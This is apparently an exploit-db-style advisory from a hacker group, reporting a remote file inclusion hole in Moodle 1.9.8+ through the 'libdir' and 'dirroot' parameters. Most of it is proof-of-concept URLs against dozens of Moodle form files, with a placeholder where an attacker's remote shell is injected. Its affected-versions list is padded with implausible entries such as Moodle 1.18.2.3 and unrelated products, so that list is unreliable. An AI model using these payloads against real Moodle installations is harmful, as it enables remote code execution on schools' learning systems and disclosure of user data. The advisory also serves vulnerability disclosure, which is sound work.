######################################################## [+]Title: Moodle 1.9.8+ ("libdir" , "dirroot") RFI Vulnerability Exploit [+]TesTed On: Version 1.9.8+ and Prior [+]Download: http://download.moodle.org/stable19/ [+]Discovered by: eidelweiss [+]Contact: eidelweiss[at]cyberservices[dot]com [!]Thank`s To: exploit-db team , JosS (hack0wn) , sp3x (securityreason) , r0073r & 0x1D (inj3ct0r) , [D]eal [C]yber and all my friends ######################################################## BACKGROUND : Moodle is a Course Management System (CMS), also known as a Learning Management System (LMS) or a Virtual Learning Environment (VLE). It is a Free web application that educators can use to create effective online learning sites. *********************** -=[Vulnerability Description]=- Moodle v.1.9.8+ is Prone to Remote File Include exploit. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi). Access Vector: Network exploitable Access Complexity: High Authentication: Not Required to exploit Impact Type:Allows unauthorized disclosure of information Remote: Yes Local: Yes -=[ Vulnerable / Affected ]=- Moodle moodle 1.9.8+ Moodle moodle 1.9.x Moodle moodle 1.8.x Moodle moodle 1.7.7 and Prior Moodle moodle 1.5.2 and Prior Moodle moodle 1.4.3 and Prior Moodle moodle 1.3.4 and Prior Moodle moodle 1.2.1 and Prior Moodle moodle 1.9 and Prior Moodle moodle 1.7.7+ Moodle moodle 1.7 Moodle moodle 1.6.9+ Moodle moodle 1.6.1 + Moodle moodle 1.18.2.3 Moodle moodle 1.18.2.2 RedHat Fedora 13 BEA Systems Weblogic Proxy Plugin 1.5.3 + BEA Systems Weblogic Proxy Plugin 1.5.3 Moodle - Joomla Integration -=[ Vuln C0de ]=- 1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi). 2. No sanitize , not defined and No Login require for : libdir.'/formslib.php'); ***?> (moodle/admin/uploaduser_form.php) (moodle/admin/uploadpicture_form.php) (moodle/blog/edit_form.php) (moodle/course/edit_form.php) (moodle/course/recent_form.php) (moodle/course/moodleform_mod.php) (moodle/course/reset_form.php) (moodle/course/delete_category_form.php) (moodle/course/request_form.php) (moodle/grade/edit/letter/edit_form.php) (moodle/grade/edit/outcome/edit_form.php) (moodle/grade/edit/scale/edit_form.php) (moodle/grade/edit/settings/form.php) (moodle/grade/edit/tree/category_form.php) (moodle/grade/edit/tree/outcomeitem_form.php) (moodle/grade/edit/tree/calculation_form.php) (moodle/grade/edit/tree/grade_form.php) (moodle/grade/export/grade_export_form.php) (moodle/grade/import/grade_import_form.php) (moodle/login/signup_form.php) (moodle/login/change_password_form.php) (moodle/login/restored_password_form.php) (moodle/mod/forum/post_form.php) (moodle/mod/glossary/comment_form.php) (moodle/notes/edit_form.php) (moodle/question/contextmove_form.php) (moodle/question/move_form.php) (moodle/question/category_form.php) (moodle/question/contextmoveq_form.php) (moodle/question/export_form.php) (moodle/question/import_form.php) *********************** -=[P0C]=- *********************** http://127.0.0.1/moodle/admin/uploaduser_form.php?libdir= http://127.0.0.1/moodle/admin/uploadpicture_form.php?libdir= http://127.0.0.1/moodle/blog/edit_form.php http://127.0.0.1/moodle/course/edit_form.php http://127.0.0.1/moodle/course/recent_form.php http://127.0.0.1/moodle/course/moodleform_mod.php http://127.0.0.1/moodle/course/reset_form.php http://127.0.0.1/moodle/course/delete_category_form.php http://127.0.0.1/moodle/course/request_form.php http://127.0.0.1/moodle/grade/edit/letter/edit_form.php http://127.0.0.1/moodle/grade/edit/outcome/edit_form.php http://127.0.0.1/moodle/grade/edit/scale/edit_form.php http://127.0.0.1/moodle/grade/edit/settings/form.php http://127.0.0.1/moodle/grade/edit/tree/category_form.php http://127.0.0.1/moodle/grade/edit/tree/outcomeitem_form.php http://127.0.0.1/moodle/grade/edit/tree/calculation_form.php http://127.0.0.1/moodle/grade/edit/tree/grade_form.php http://127.0.0.1/moodle/grade/export/grade_export_form.php http://127.0.0.1/moodle/grade/import/grade_import_form.php http://127.0.0.1/moodle/login/signup_form.php http://127.0.0.1/moodle/login/change_password_form.php http://127.0.0.1/moodle/login/restored_password_form.php http://127.0.0.1/moodle/mod/forum/post_form.php http://127.0.0.1/moodle/mod/glossary/comment_form.php http://127.0.0.1/moodle/notes/edit_form.php http://127.0.0.1/moodle/question/contextmove_form.php http://127.0.0.1/moodle/question/move_form.php http://127.0.0.1/moodle/question/category_form.php http://127.0.0.1/moodle/question/contextmoveq_form.php http://127.0.0.1/moodle/question/export_form.php http://127.0.0.1/moodle/question/import_form.php ######################################################## -=[ Other Vuln C0de ]=- [-] moodle/lib/textlib.class.php /// Required files require_once($CFG->libdir.'/typo3/class.t3lib_cs.php'); // line 28 require_once($CFG->libdir.'/typo3/class.t3lib_div.php'); // line 29 *********************** -=[P0C]=- *********************** http://127.0.0.1/moodle/lib/textlib.class.php?libdir= [inj3ct0r shell] ######################################################## [-] moodle/group/group_form.php require_once($CFG->dirroot.'/lib/formslib.php'); // line 3 *********************** -=[P0C]=- *********************** http://127.0.0.1/moodle/group/group_form.php?dirroot= [inj3ct0r shell] ######################################################## -=[ Other Vuln C0de ]=- [-] moodle/my/pagelib.php require_once($CFG->libdir.'/pagelib.php'); // line 3 *********************** -=[P0C]=- *********************** http://127.0.0.1/moodle/my/pagelib.php?libdir= [sh3ll inj3ct0r] ######################################################## -=[ Other Vuln C0de ]=- [-] /moodle/tag/pagelib.php libdir.'/pagelib.php'); // line 3 require_once('lib.php'); *********************** -=[P0C]=- *********************** http://127.0.0.1/moodle/tag/pagelib.php?libdir= [inj3ct0r sh3ll] ######################################################## [-] moodle/course/editcategory_form.php require_once ($CFG->dirroot.'/course/moodleform_mod.php'); // line 2 *********************** -=[P0C]=- *********************** http://127.0.0.1/moodle/course/editcategory_form.php?dirroot= [sh3ll inj3ct0r] *********************** etc, etc, etc, *********************** ####################=[E0F]=####################